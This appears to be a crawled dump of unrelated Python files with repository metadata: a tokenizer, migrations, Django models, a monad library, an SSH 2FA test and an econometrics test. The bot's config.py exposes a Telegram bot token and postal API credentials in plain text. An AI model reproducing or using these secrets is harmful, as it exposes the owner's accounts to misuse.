hv_wrapper def as_symbolic(fn=None, **kwargs): """ Wraps a function with an AutoDiff Symbolic instance, meaning it will act as a function expecting and operating on Theano objects. The function is not compiled. Use: @as_symbolic def python_function(...): return do_something() python_function(...) # calls function as if it worked with Theano objs """ if isinstance(fn, collections.Callable): return Symbolic(fn, **kwargs) else: def function_wrapper(pyfn): return Symbolic(pyfn, **kwargs) return function_wrapper theanify = as_symbolic

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null

0

null

0

1

0

1

0

3

50cc80f625a434563d8bd32aa69e002c8f433cbc

131

py

Python

config.py

pythonjsgo/mail_tracking_bot

a541fed67b1b85f912088e0c4920ff9f6dabf5bb

[ "MIT" ]

null

config.py

pythonjsgo/mail_tracking_bot

a541fed67b1b85f912088e0c4920ff9f6dabf5bb

[ "MIT" ]

null

config.py

pythonjsgo/mail_tracking_bot

a541fed67b1b85f912088e0c4920ff9f6dabf5bb

[ "MIT" ]

null

TOKEN = "1807234388:AAHbvU9Crr6BURnLMwT8m4hrneGgxGvbm8A" pochta_api_login = "YadBdduZvCLDvZ" pochta_api_password = "oAD8k3MpRHq5"

26.2

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11

131

9.727273

0.818182

0.168224

0

0.14876

0.076336

131

5

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26.2

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0.545455

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null

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1

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null

0

1

0

3

50cfd74d5dd92f459fa4e1ff1f665cd51c057e1f

334

py

Python

migrations/versions/0209_add_cancelled_status.py

tlwr/notifications-api

88a6b7729edb9be41ce3e7c027f1452b7b6d00d2

[ "MIT" ]

51

2016-04-03T23:36:17.000Z

2022-03-21T20:04:52.000Z

migrations/versions/0209_add_cancelled_status.py

tlwr/notifications-api

88a6b7729edb9be41ce3e7c027f1452b7b6d00d2

[ "MIT" ]

1,335

2015-12-15T14:28:50.000Z

2022-03-30T16:24:27.000Z

migrations/versions/0209_add_cancelled_status.py

tlwr/notifications-api

88a6b7729edb9be41ce3e7c027f1452b7b6d00d2

[ "MIT" ]

30

2016-01-08T19:05:32.000Z

2021-12-20T16:37:23.000Z

""" Revision ID: 0209_add_cancelled_status Revises: 84c3b6eb16b3 Create Date: 2018-07-31 13:34:00.018447 """ from alembic import op revision = '0209_add_cancelled_status' down_revision = '84c3b6eb16b3' def upgrade(): op.execute("INSERT INTO notification_status_types (name) VALUES ('cancelled')") def downgrade(): pass

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0.13278

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0

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0.140719

334

19

84

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false

0.142857

0

0.428571

0

null

0

1

0

null

0

1

0

1

0

3

50d3d8bef2a89f7fd1535b32b328c27fd6cea66d

769

py

Python

variation/translators/polypeptide_truncation.py

cancervariants/varlex

3806317fa0125c3098e80124d5169fe6a13d50db

[ "MIT" ]

null

variation/translators/polypeptide_truncation.py

cancervariants/varlex

3806317fa0125c3098e80124d5169fe6a13d50db

[ "MIT" ]

15

2019-10-23T17:35:42.000Z

2020-05-05T21:04:01.000Z

variation/translators/polypeptide_truncation.py

cancervariants/varlex

3806317fa0125c3098e80124d5169fe6a13d50db

[ "MIT" ]

null

"""Module for Polypeptide Truncation Translation.""" from variation.translators.translator import Translator from variation.schemas.classification_response_schema import ClassificationType from variation.schemas.token_response_schema import PolypeptideTruncationToken, Token class PolypeptideTruncation(Translator): """The Polypeptide Truncation Translator class.""" def can_translate(self, type: ClassificationType) -> bool: """Return if classification type is Polypeptide Truncation.""" return type == ClassificationType.POLYPEPTIDE_TRUNCATION def is_token_instance(self, token: Token) -> bool: """Return if the token is an Polypeptide Truncation token instance.""" return isinstance(token, PolypeptideTruncationToken)

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0

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null

0

1

0

1

0

1

0

3

0fd606c0d74b41773b151cbc194b805f0ebef5a6

8,818

py

Python

load_d2c_data/question_to_fields_final_perfect.py

0bserver07/neural-engineers-first-attempt

19760251b7080ffe2e7b15146af6844811da4141

[ "MIT" ]

10

2017-09-10T14:42:36.000Z

2020-12-03T11:45:17.000Z

load_d2c_data/question_to_fields_final_perfect.py

0bserver07/neural-engineers-first-attempt

19760251b7080ffe2e7b15146af6844811da4141

[ "MIT" ]

null

load_d2c_data/question_to_fields_final_perfect.py

0bserver07/neural-engineers-first-attempt

19760251b7080ffe2e7b15146af6844811da4141

[ "MIT" ]

7

2017-10-03T04:43:50.000Z

2020-09-23T14:39:27.000Z

# -*- coding: utf-8 -*- import string import segtok.segmenter import segtok.tokenizer from segtok.tokenizer import symbol_tokenizer, word_tokenizer, web_tokenizer from segtok.tokenizer import split_possessive_markers, split_contractions '''ADD SECTION FOR CONVERTING EVERYTHING TO LOWER CASE''' q = '''Description: ¶ Name string is a string consisting of letters "R","K" and "V". Today Oz wants to design a name string in a beautiful manner. Actually Oz's cannot insert these three letters arbitrary anywhere ,he has to follow some rules to make the name string look beautiful. First thing is that the name string should consist of at most two different letters. Secondly adjacent letters in name string must be different. ¶ ¶ After this procedure Oz wants name string to be as long as possible. Given the number of "R","K" and "V" letters that you have initially ,help Oz to find the maximum length of name string that Oz can make. ¶ ¶ Input : ¶ The first line contains the number of test cases T. Each test case consists of three space separated integers - A,B and C representing number of "R" letters, number of "K" letters and number of "V" letters respectively. ¶ ¶ Output : ¶ For each test case T, output maximum length of name string that Oz can make. ¶ ¶ Constraints : ¶ 1 ≤ T ≤100 ¶ 0 ≤ A,B,C ≤10^6 ¶ ¶ SAMPLE INPUT ¶ 2 ¶ 1 2 asfas 5 ¶ 0 0 2 ¶ ¶ SAMPLE OUTPUT ¶ 5 ¶ 1 ¶ ¶ Explanation ¶ ¶ For first sample : ¶ The longest name string possible is : VKVKV using 3 "V" letters and 2 "K" letters and its length is 5.''' def char_split_if_io_example(sentence): '''ADD SECTION FOR CONVERTING EVERYTHING TO LOWER CASE''' """split text into characters""" """used for input/output examples for which char level info is relevant""" i = 'Input ¶' o = 'Output ¶' ''' i = 'Input \xb6' o = 'Output \xb6' ''' sentence_encoded=sentence sentence=sentence.decode('utf-8') if i in sentence_encoded: sentence=sentence_encoded.split(i) sentence = word_tokenizer(i.decode('utf-8')) + list(sentence[1]) s = sentence for jdx, j in enumerate(sentence): if j == '\xc2': s[jdx:jdx+2]=[u'\xb6'] sentence = s elif o in sentence_encoded: sentence=sentence_encoded.split(o) sentence = word_tokenizer(o.decode('utf-8')) + list(sentence[1]) s = sentence for jdx, j in enumerate(sentence): if j == '\xc2': s[jdx:jdx+2]=[u'\xb6'] sentence = s else: sentence = word_tokenizer(sentence) return sentence def split_nums(list_of_tokens): digits = string.digits new_list_of_tokens=[] for idx, i in enumerate(list_of_tokens): digit_present = False for j in i: if j in digits: new_list_of_tokens+=list(i) digit_present = True break if digit_present == False: new_list_of_tokens+=[i] return new_list_of_tokens def question_to_tokenized_fields(question): b = ['¡ Description'] a = question.replace('¶ ¶ Examples ¶ ', '¦¶ ¶ Examples ¶ ¶ ').replace('¶ Examples ¶ ', '¦¶ ¶ Examples ¶ ¶ ').split('¦') #You replace Note with Explanation in Codeforces #codeforces if len(a) > 1: for idx, i in enumerate(a): if idx == 0: c=[] c+=[i.encode('utf-8') for i in segtok.segmenter.split_multi(a[idx].decode('utf-8'))] for i in c: b+=i.replace('¶ ¶ Description ¶ ', '¡ Description¦').replace('¶ ¶ Input ¶ ', '¦¡ Input¦').replace('¶ ¶ Output ¶ ', '¦¡ Output¦').replace('¶ Input ¶ ', '¦¡ Input¦').replace('¶ Output ¶ ', '¦¡ Output¦').replace(' . ', ' .¦').replace('¶ ¶ ', '¦').split('¦') else: c=[] c+=[i.encode('utf-8') for i in segtok.segmenter.split_multi(a[idx].decode('utf-8'))] for i in c: b+=i.replace('¶ ¶ Input ¶ ', '¦¶ ¶ Input ¶ ').replace('¶ ¶ Examples ', '¡ Examples').replace('¶ Examples ', '¡ Examples').replace('¶ ¶ Output ¶ ', '¦¶ Output ¶ ').replace('¶ ¶ Note ¶ ', '¦¡ Explanation¦').replace('¶ ¶ Input : ¶', '¦¡ Input¦').replace('¶ ¶ Output : ¶', '¦¡ Output¦').replace(' . ', ' .¦').replace('¶ ¶ ', '¦').replace('¶ Output ¶', 'Output ¶').split('¦') #hackerearth else: c=[] c+=[i.encode('utf-8') for i in segtok.segmenter.split_multi(a[0].decode('utf-8'))] for i in c: b+=i.replace('Description: ¶ ', '').replace('¶ ¶ Output', '¶ Output').replace('¶ Output', '¶ ¶ Output').replace('¶ ¶ Input : ¶ ', '¦¡ Input¦').replace('¶ ¶ Output : ¶ ', '¦¡ Output¦').replace('¶ ¶ Input: ¶ ', '¦¡ Input¦').replace('¶ ¶ Output: ¶ ', '¦¡ Output¦').replace('¶ ¶ Input ¶ ', '¦¡ Input¦').replace('¶ ¶ Output ¶ ', '¦¡ Output¦').replace('¶ ¶ Input ', '¦¡ Input¦').replace('¶ ¶ Examples ', '¡ Examples').replace('¶ ¶ Output ', '¦¡ Output¦').replace('¶ ¶ Note ¶ ', '¦¡ Note¦') \ .replace('¶ ¶ SAMPLE INPUT ¶', '¦¡ Examples¦¶ ¶ Input ¶').replace('¶ ¶ SAMPLE OUTPUT ¶', '¦¶ ¶ Output ¶').replace('¶ ¶ Constraints : ¶ ', '¦¡ Constraints¦').replace('¶ ¶ Constraint : ¶ ', '¦¡ Constraints¦').replace('¶ ¶ Constraints: ¶ ', '¦¡ Constraints¦').replace('¶ ¶ Constraint: ¶ ', '¦¡ Constraints¦').replace('¶ ¶ Constraints ¶ ', '¦¡ Constraints¦').replace('¶ ¶ Constraint ¶ ', '¦¡ Constraints¦').replace('¶ ¶ Explanation ¶ ', '¦¡ Explanation¦').replace('¶ ¶ ', '¦').split('¦') b=[split_nums(split_contractions(char_split_if_io_example(x))) for x in b if x.strip()] return b '''ADD SECTION FOR CONVERTING EVERYTHING TO LOWER CASE''' if __name__ == '__main__': q = '''Overall there are m actors in Berland. Each actor has a personal identifier — an integer from 1 to m (distinct actors have distinct identifiers). Vasya likes to watch Berland movies with Berland actors, and he has k favorite actors. He watched the movie trailers for the next month and wrote the following information for every movie: the movie title, the number of actors who starred in it, and the identifiers of these actors. Besides, he managed to copy the movie titles and how many actors starred there, but he didn't manage to write down the identifiers of some actors. Vasya looks at his records and wonders which movies may be his favourite, and which ones may not be. Once Vasya learns the exact cast of all movies, his favorite movies will be determined as follows: a movie becomes favorite movie, if no other movie from Vasya's list has more favorite actors. Help the boy to determine the following for each movie: whether it surely will be his favourite movie; whether it surely won't be his favourite movie; can either be favourite or not. Input The first line of the input contains two integers m and k (1 ≤ m ≤ 100, 1 ≤ k ≤ m) — the number of actors in Berland and the number of Vasya's favourite actors. The second line contains k distinct integers ai (1 ≤ ai ≤ m) — the identifiers of Vasya's favourite actors. The third line contains a single integer n (1 ≤ n ≤ 100) — the number of movies in Vasya's list. Then follow n blocks of lines, each block contains a movie's description. The i-th movie's description contains three lines: the first line contains string si (si consists of lowercase English letters and can have the length of from 1 to 10 characters, inclusive) — the movie's title, the second line contains a non-negative integer di (1 ≤ di ≤ m) — the number of actors who starred in this movie, the third line has di integers bi, j (0 ≤ bi, j ≤ m) — the identifiers of the actors who star in this movie. If bi, j = 0, than Vasya doesn't remember the identifier of the j-th actor. It is guaranteed that the list of actors for a movie doesn't contain the same actors. All movies have distinct names. The numbers on the lines are separated by single spaces. Output Print n lines in the output. In the i-th line print: 0, if the i-th movie will surely be the favourite; 1, if the i-th movie won't surely be the favourite; 2, if the i-th movie can either be favourite, or not favourite. Examples Input 5 3 1 2 3 6 firstfilm 3 0 0 0 secondfilm 4 0 0 4 5 thirdfilm 1 2 fourthfilm 1 5 fifthfilm 1 4 sixthfilm 2 1 0 Output 2 2 1 1 1 2 Input 5 3 1 3 5 4 jumanji 3 0 0 0 theeagle 5 1 2 3 4 0 matrix 3 2 4 0 sourcecode 2 2 4 Output 2 0 1 1 Note Note to the second sample: Movie jumanji can theoretically have from 1 to 3 Vasya's favourite actors. Movie theeagle has all three favourite actors, as the actor Vasya failed to remember, can only have identifier 5. Movie matrix can have exactly one favourite actor. Movie sourcecode doesn't have any favourite actors. Thus, movie theeagle will surely be favourite, movies matrix and sourcecode won't surely be favourite, and movie jumanji can be either favourite (if it has all three favourite actors), or not favourite. ''' print(q) q = q.replace('\r\n', '\n').replace('\n', ' ¶ ').replace('¶ ¶', '¶ ¶').rstrip(' ¶').rstrip(' ').rstrip('¶').replace('† ', '† ').replace(' ‡', ' ‡') print(q) toked = question_to_tokenized_fields(q) print(toked) for i in toked: print(i) for j in i: print j

47.408602

1,231

0.67487

1,597

8,818

3.863494

0.189731

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0.049595

0.035656

0.347326

0.285737

0.264019

0.213938

0.164344

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0.188251

8,818

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47.664865

0.805672

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null

0

0.034965

null

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null

0

1

0

1

0

null

0

1

0

3

0fe0b94ebd4cf2a1e5c37a874ebee90f425e48c6

369

py

Python

bc/documents/models.py

Buckinghamshire-Digital-Service/buckinghamshire-council

bbbdb52b515bcdfc79a2bd9198dfa4828405370e

[ "BSD-3-Clause" ]

1

2021-02-27T07:27:17.000Z

bc/documents/models.py

Buckinghamshire-Digital-Service/buckinghamshire-council

bbbdb52b515bcdfc79a2bd9198dfa4828405370e

[ "BSD-3-Clause" ]

null

bc/documents/models.py

Buckinghamshire-Digital-Service/buckinghamshire-council

bbbdb52b515bcdfc79a2bd9198dfa4828405370e

[ "BSD-3-Clause" ]

1

2021-06-09T15:56:54.000Z

from django.db import models from wagtail.documents.models import AbstractDocument from wagtail.documents.models import Document as WagtailDocument class CustomDocument(AbstractDocument): talentlink_attachment_id = models.IntegerField(blank=True, null=True) admin_form_fields = WagtailDocument.admin_form_fields + ( "talentlink_attachment_id", )

30.75

73

0.802168

41

369

7.02439

0.560976

0.076389

0.138889

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0.222222

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0.135501

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false

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null

0

1

0

1

0

3

0ff600b374b51c8ece3f7904f07c5e96da77511d

237

py

Python

tests/private_data.py

davidk/pytinysong

fa8e7bb02dee2a8979dbacec28e6df5f32d6c89d

[ "CC0-1.0" ]

null

tests/private_data.py

davidk/pytinysong

fa8e7bb02dee2a8979dbacec28e6df5f32d6c89d

[ "CC0-1.0" ]

null

tests/private_data.py

davidk/pytinysong

fa8e7bb02dee2a8979dbacec28e6df5f32d6c89d

[ "CC0-1.0" ]

null

import os # Replace API_KEY with your personal API key from Tinysong if you want # to run tests. if 'TRAVIS_SECURE_ENV_VARS' in os.environ and os.environ['TRAVIS_SECURE_ENV_VARS'] == 'true': KEY = os.environ['KEY'] else: KEY=''

29.625

93

0.7173

40

237

4.075

0.625

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0.184049

0.233129

0

0.172996

237

7

94

33.857143

0.831633

0.350211

0

0.337748

0.291391

0

1

0

false

0

0.2

0

0.2

0

null

0

1

0

1

0

null

0

3

e841fe2b78eb122d29ad90a9ec8c3ed750df4074

295

py

Python

smolisa_py/asm/label.py

AsuMagic/smolisa-emu

96fb84fbb783024618cb0cc2096fb24021cf3e5e

[ "MIT" ]

null

smolisa_py/asm/label.py

AsuMagic/smolisa-emu

96fb84fbb783024618cb0cc2096fb24021cf3e5e

[ "MIT" ]

null

smolisa_py/asm/label.py

AsuMagic/smolisa-emu

96fb84fbb783024618cb0cc2096fb24021cf3e5e

[ "MIT" ]

null

class Label: def __init__(self, name): self.name = name class LabelAccess: def __init__(self, name, lower_byte): self.name = name self.lower_byte = lower_byte def high(name): return LabelAccess(name, False) def low(name): return LabelAccess(name, True)

21.071429

41

0.657627

39

295

4.692308

0.358974

0.174863

0.120219

0.163934

0

0.244068

295

14

42

21.071429

0.820628

0

0.181818

0

1

0.363636

false

0

0.181818

0.727273

0

null

0

1

0

null

0

1

0

1

0

3

e84b37db84fb224f136e811ebfe2d8fd1580231a

159

py

Python

src/liquidhandling/hudson/__init__.py

AD-SDL/hudson-liquidhandling

a9d7ba9c85062e821ba8e650f4e4ee011c80be4e

[ "MIT" ]

1

2021-06-29T20:24:38.000Z

src/liquidhandling/hudson/__init__.py

AD-SDL/hudson-liquidhandling

a9d7ba9c85062e821ba8e650f4e4ee011c80be4e

[ "MIT" ]

null

src/liquidhandling/hudson/__init__.py

AD-SDL/hudson-liquidhandling

a9d7ba9c85062e821ba8e650f4e4ee011c80be4e

[ "MIT" ]

null

from .SoloSoft import SoloSoft from .RapidPick import RapidPick from .SoftLinx import SoftLinx __all__ = [ "SoloSoft", "RapidPick", "SoftLinx", ]

15.9

32

0.704403

16

159

6.75

0.375

0

0.201258

159

9

33

17.666667

0.850394

0

0.157233

0

1

0

false

0

0.375

0

0.375

0

1

0

null

0

1

0

null

0

1

0

3

e8549f7d6bf867a5a531818be0f0f8e6fcc92ffb

1,899

py

Python

oslash/cont.py

sobolevn/OSlash

ffdc714c5d454f7519f740254de89f70850929eb

[ "Apache-2.0" ]

null

oslash/cont.py

sobolevn/OSlash

ffdc714c5d454f7519f740254de89f70850929eb

[ "Apache-2.0" ]

null

oslash/cont.py

sobolevn/OSlash

ffdc714c5d454f7519f740254de89f70850929eb

[ "Apache-2.0" ]

null

""" The Continuation Monad * https://wiki.haskell.org/MonadCont_under_the_hood * http://blog.sigfpe.com/2008/12/mother-of-all-monads.html * http://www.haskellforall.com/2012/12/the-continuation-monad.html """ from typing import Any, Callable from .util import identity, compose from .abc import Monad, Functor class Cont(Monad, Functor): """The Continuation Monad. The Continuation monad represents suspended computations in continuation- passing style (CPS). """ def __init__(self, cont: Callable[[Callable], Any]) -> None: """Cont constructor. Keyword arguments: cont -- A callable """ self._value = cont @classmethod def unit(cls, a: Any) -> 'Cont': """Create new continuation. Haskell: a -> Cont a """ return cls(lambda cont: cont(a)) def map(self, fn: Callable[[Any], Any]) -> 'Cont': r"""Map a function over a continuation. Haskell: fmap f m = Cont $ \c -> runCont m (c . f) """ return Cont(lambda c: self.run(compose(c, fn))) def bind(self, fn: Callable[[Any], 'Cont']) -> 'Cont': r"""Chain continuation passing functions. Haskell: m >>= k = Cont $ \c -> runCont m $ \a -> runCont (k a) c """ return Cont(lambda c: self.run(lambda a: fn(a).run(c))) @staticmethod def call_cc(fn: Callable) -> 'Cont': r"""call-with-current-continuation. Haskell: callCC f = Cont $ \c -> runCont (f (\a -> Cont $ \_ -> c a )) c """ return Cont(lambda c: fn(lambda a: Cont(lambda _: c(a))).run(c)) def run(self, *args: Any) -> Any: return self._value(*args) if args else self._value def __call__(self, *args: Any, **kwargs: Any) -> Any: return self.run(*args, **kwargs) def __eq__(self, other) -> bool: return self(identity) == other(identity)

27.926471

80

0.590311

249

1,899

4.417671

0.349398

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0.072727

0.046364

0.062727

0

0.008505

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1,899

67

81

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1

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false

0

0.12

0.76

0

null

0

null

0

1

0

1

0

3

e85528368232466fd8bf51ab7cbec53b71448f7f

115

py

Python

main.py

aamirza/bookworm

bdc9411d0b3e9a3c06638141fcb03227db247654

[ "MIT" ]

1

2021-11-09T11:32:49.000Z

main.py

aamirza/bookworm

bdc9411d0b3e9a3c06638141fcb03227db247654

[ "MIT" ]

null

main.py

aamirza/bookworm

bdc9411d0b3e9a3c06638141fcb03227db247654

[ "MIT" ]

null

import sys from cli import parser def main(): parser.main(sys.argv) if __name__ == "__main__": main()

9.583333

26

0.643478

16

115

4.125

0.625

0

0.234783

115

11

27

10.454545

0.75

0

0.069565

0

1

0.166667

true

0

0.333333

0

0.5

0

1

0

null

0

null

0

1

0

1

0

3

e868646540c7d3d62ea2181da3c2348537e04088

342

py

Python

Python_do_zero_Guanabara/03_Utilizando Módulos/desafio/17_desafio.py

HenriqueSOliver/Projetos_Python

f18c5a343ad1b746a12bd372298b2debe9bc65ec

[ "MIT" ]

null

Python_do_zero_Guanabara/03_Utilizando Módulos/desafio/17_desafio.py

HenriqueSOliver/Projetos_Python

f18c5a343ad1b746a12bd372298b2debe9bc65ec

[ "MIT" ]

null

Python_do_zero_Guanabara/03_Utilizando Módulos/desafio/17_desafio.py

HenriqueSOliver/Projetos_Python

f18c5a343ad1b746a12bd372298b2debe9bc65ec

[ "MIT" ]

null

#faça um programa que leia o comprimento do cateto oposto e de cateto adjacente de um triangulo retangulo, calcule e mostre o comprimento da hipotenusa. from math import hypot co = float(input('Comprimento do cateto oposto: ')) ca = float(input('Comprimento do cateto adijacente: ')) print(f'A hipotenusa vai medir {math.hypot(co, ca):.2f}')

57

152

0.766082

54

342

4.851852

0.62963

0.148855

0.217557

0.19084

0.221374

0

0.003413

0.143275

342

6

153

57

0.890785

0.44152

0

0.581152

0

1

0

false

0

0.25

0

0.25

0

null

0

1

0

1

0

null

0

3

e876076773eca1864c481da9b3a14b00dd7cca2b

613

py

Python

pyutilib/excel/base.py

PyUtilib/PyUtilib

d99406f2af1fb62268c34453a2fbe6bd4a7348f0

[ "BSD-3-Clause" ]

24

2016-04-02T10:00:02.000Z

2021-03-02T16:40:18.000Z

pyutilib/excel/base.py

PyUtilib/PyUtilib

d99406f2af1fb62268c34453a2fbe6bd4a7348f0

[ "BSD-3-Clause" ]

105

2015-10-29T03:29:58.000Z

2021-12-30T22:00:45.000Z

pyutilib/excel/base.py

PyUtilib/PyUtilib

d99406f2af1fb62268c34453a2fbe6bd4a7348f0

[ "BSD-3-Clause" ]

22

2016-01-21T15:35:25.000Z

2021-05-15T20:17:44.000Z

# _________________________________________________________________________ # # PyUtilib: A Python utility library. # Copyright (c) 2008 Sandia Corporation. # This software is distributed under the BSD License. # Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation, # the U.S. Government retains certain rights in this software. # _________________________________________________________________________ class ExcelSpreadsheet_base(object): def can_read(self): return False def can_write(self): return False def can_calculate(self): return False

29.190476

76

0.771615

61

613

5.295082

0.721311

0.055728

0.139319

0.111455

0.130031

0

0.025743

0.176183

613

20

77

30.65

0.613861

0.672104

0

0.428571

0

1

0.428571

false

0

0.428571

1

0

null

0

null

0

1

0

1

0

3

e87e8c86eb627d9c24a150fc0c0a9b8f1bf370ff

1,177

py

Python

molecule/default/tests/test_2fa.py

mtpettyp/ansible-base

7bf8d2a267069ac8a6659899b354da7f05ba092f

[ "MIT" ]

null

molecule/default/tests/test_2fa.py

mtpettyp/ansible-base

7bf8d2a267069ac8a6659899b354da7f05ba092f

[ "MIT" ]

null

molecule/default/tests/test_2fa.py

mtpettyp/ansible-base

7bf8d2a267069ac8a6659899b354da7f05ba092f

[ "MIT" ]

null

import pytest """Role testing 2fa using testinfra.""" @pytest.fixture(autouse=True) def run_around_tests(host): host.run('apt-get install sshpass') host.run("rm ~test1/.google_authenticator") host.run( "yes '' | ssh-keygen -t ed25519 -f /root/.ssh/id_ed25519 -N ''") host.run( "cat /root/.ssh/id_ed25519.pub >> /home/test1/.ssh/authorized_keys") yield host.run("rm ~test1/.google_authenticator") def test_ssh(host): # Ensure ssh works with google authenticator not setup cmd = host.run("ssh -o StrictHostKeychecking=no test1@localhost") assert cmd.succeeded # Ensure ssh works with google authenticator setup host.run( 'echo "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > ~test1/.google_authenticator') host.run('echo "\\" TOTP_AUTH" >> ~test1/.google_authenticator') host.run('echo "12345678" >> ~test1/.google_authenticator') host.run('chmod 400 ~test1/.google_authenticator') host.run('chown test1:test1 ~test1/.google_authenticator') cmd = host.run( "sshpass -p 12345678 -P 'Verification code:' " "ssh -o StrictHostKeychecking=no test1@localhost") assert cmd.succeeded

29.425

76

0.680544

147

1,177

5.353742

0.421769

0.106734

0.213469

0.177891

0.504447

0.416773

0.149936

0

0.048958

0.184367

1,177

39

77

30.179487

0.770833

0.085811

0

0.291667

0

0.576402

0.338491

0

0.083333

1

0.083333

false

0.083333

0.041667

0

0.125

0

null

0

1

0

null

0

1

0

3

e87ed7067cd265af638d0d392c05bfda959d96fe

53

py

Python

files/image/cron/crontab/__init__.py

ZPascal/container-manager

5f3c8784d7b73ef52baae9f2bc40bcfc660e6d72

[ "Apache-2.0" ]

null

files/image/cron/crontab/__init__.py

ZPascal/container-manager

5f3c8784d7b73ef52baae9f2bc40bcfc660e6d72

[ "Apache-2.0" ]

1

2021-12-01T23:10:29.000Z

files/image/cron/crontab/__init__.py

ZPascal/container-manager

5f3c8784d7b73ef52baae9f2bc40bcfc660e6d72

[ "Apache-2.0" ]

null

from ._crontab import CronTab __all__ = ["CronTab"]

13.25

29

0.735849

6

53

5.666667

0.666667

0

0.150943

53

3

30

17.666667

0.755556

0

0.132075

0

1

0

false

0

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

3

e880e1334d1a852e61408a411187468db5a09d3d

413

py

Python

AutoXGBoost/imports.py

KOLANICH/AutoXGBoost

6c539207a7f5a725eec63ec9f0c32accf2636d48

[ "Unlicense" ]

1

2018-08-24T03:33:13.000Z

AutoXGBoost/imports.py

KOLANICH/AutoXGBoost

6c539207a7f5a725eec63ec9f0c32accf2636d48

[ "Unlicense" ]

null

AutoXGBoost/imports.py

KOLANICH/AutoXGBoost

6c539207a7f5a725eec63ec9f0c32accf2636d48

[ "Unlicense" ]

null

import sys import types import typing from typing import * from functools import partial, wraps from pprint import pformat, pprint import warnings from pandas import DataFrame, Series import scipy as np import pandas from pandas import DataFrame try: from tqdm.autonotebook import tqdm as mtqdm except: from tqdm import tqdm as mtqdm import xgboost as xgb from lazily import lazyImport

18.772727

45

0.774818

59

413

5.423729

0.440678

0.075

0.1

0.15625

0

0.208232

413

22

46

18.772727

0.978593

0

1

0

true

0

0.882353

0

0.882353

0.058824

0

null

0

null

0

1

0

1

0

1

0

3

e89a540fc9f92159b09f9232dbedee1f730d3a6a

109

py

Python

code/abc143_b_02.py

KoyanagiHitoshi/AtCoder

731892543769b5df15254e1f32b756190378d292

[ "MIT" ]

3

2019-08-16T16:55:48.000Z

2021-04-11T10:21:40.000Z

code/abc143_b_02.py

KoyanagiHitoshi/AtCoder

731892543769b5df15254e1f32b756190378d292

[ "MIT" ]

null

code/abc143_b_02.py

KoyanagiHitoshi/AtCoder

731892543769b5df15254e1f32b756190378d292

[ "MIT" ]

null

N=int(input()) d=list(map(int,input().split())) print(sum(d[x]*d[y] for x in range(N) for y in range(x+1,N)))

36.333333

61

0.623853

27

109

2.518519

0.555556

0.235294

0

0.010101

0.091743

109

3

61

36.333333

0.676768

0

1

0

false

0

0.333333

1

0

null

1

0

1

0

null

0

3

e8aa3c88fa78f895163f59ef12429d8b154f55bb

304

py

Python

paderbox/array/intervall.py

JanekEbb/paderbox

7cd3bf92380e05ec856936d21a64d0a8a3ff0fca

[ "MIT" ]

25

2019-12-21T21:10:08.000Z

2022-02-04T10:40:19.000Z

paderbox/array/intervall.py

JanekEbb/paderbox

7cd3bf92380e05ec856936d21a64d0a8a3ff0fca

[ "MIT" ]

32

2019-12-21T21:48:24.000Z

2022-03-31T08:20:39.000Z

paderbox/array/intervall.py

JanekEbb/paderbox

7cd3bf92380e05ec856936d21a64d0a8a3ff0fca

[ "MIT" ]

254

2019-12-16T08:15:08.000Z

2021-11-26T12:41:12.000Z

from .interval import * from .interval import ArrayInterval as ArrayIntervall import warnings warnings.warn( 'Using ArrayIntervall (with double l) from paderbox.array.intervall (with ' 'double l) is deprecated. Use ArrayInterval from paderbox.array.interval ' '(with a single l) instead.' )

30.4

79

0.756579

38

304

6.052632

0.552632

0.104348

0.156522

0

0.164474

304

9

80

33.777778

0.905512

0

0.5625

0.154605

0

1

0

true

0

0.375

0

0.375

0

null

0

1

0

null

0

1

0

1

0

3

e8abf7ea4446423696d80792fe2cb2b54d44aefa

11,176

py

Python

fixedeffect/iv/ivtest.py

rphilipzhang/FixedEffectModel

017a6f555fff44392d33e45e26c406d02ddde109

[ "BSD-3-Clause" ]

null

fixedeffect/iv/ivtest.py

rphilipzhang/FixedEffectModel

017a6f555fff44392d33e45e26c406d02ddde109

[ "BSD-3-Clause" ]

null

fixedeffect/iv/ivtest.py

rphilipzhang/FixedEffectModel

017a6f555fff44392d33e45e26c406d02ddde109

[ "BSD-3-Clause" ]

null

import pandas as pd import numpy as np import scipy as sp from io import StringIO import warnings from statsmodels.iolib.table import SimpleTable from scipy.stats import chi2 import statsmodels.api as sm from ..utils.Forg import forg from ..utils.TableFormat import gen_fmt, fmt_2 #function generate instrumental variables test def ivtest(result): """ :param result: List of endogenous variables :return: a table of result """ if result.iv == []: raise NameError('there is no iv') exog_x = result.exog_x iv_col = result.iv out_col = result.dependent endog_x = result.endog_x if result.endog_x: old_x = exog_x + result.endog_x if 'const' in result.x_second_stage: old_x = ['const'] + old_x else: old_x = exog_x for i in endog_x: if i in old_x: old_x.remove(i) all_exo_x = old_x + iv_col demeaned_df = result.demeaned_df #pass object so easier to reference z = demeaned_df[iv_col].values y = demeaned_df[out_col].values x_exog = demeaned_df[old_x].values x_endog = demeaned_df[endog_x].values z_ = demeaned_df[all_exo_x].values nobs = result.demeaned_df.shape[0] k1 = len(old_x) k2 = len(iv_col) # x related stuff xpx_inv = np.linalg.inv(np.dot(x_exog.T, x_exog)) px = np.dot(np.dot(x_exog,xpx_inv),x_exog.T) m_x = np.identity(nobs) - px y_proj = np.dot(m_x, x_endog) z_proj = np.dot(m_x, z) # z related stuff zpz_inv_proj = np.linalg.inv(np.dot(z_proj.T, z_proj)) pz_proj = np.dot(np.dot(z_proj,zpz_inv_proj),z_proj.T) zpz_full = np.dot(z_.T, z_) zpz_inv_full = np.linalg.inv(zpz_full) pz_full = np.dot(np.dot(z_,zpz_inv_full),z_.T) m_z_full = np.identity(nobs) - pz_full sigma_vv = np.dot(np.dot(x_endog.T,m_z_full),x_endog)/(nobs - k1 - k2) sigma_vv_inv_sqrt = np.linalg.inv(sp.linalg.sqrtm(sigma_vv)) fstat_matrix_meat = np.dot(np.dot(y_proj.T, pz_proj),y_proj) fstat_matrix = np.dot(np.dot(sigma_vv_inv_sqrt.T, fstat_matrix_meat),sigma_vv_inv_sqrt)/k2 cd_stat = min(np.linalg.eigvals(fstat_matrix)) cd_stat = round(cd_stat,6) # critical value in stock and yogo 2005 tab_5_2 = u"""\ k2_tab,0.1,0.15,0.2,0.25,0.1,0.15,0.2,0.25 1,16.38,8.96,6.66,5.53,,,, 2,19.93,11.59,8.75,7.25,7.03,4.58,3.95,3.63 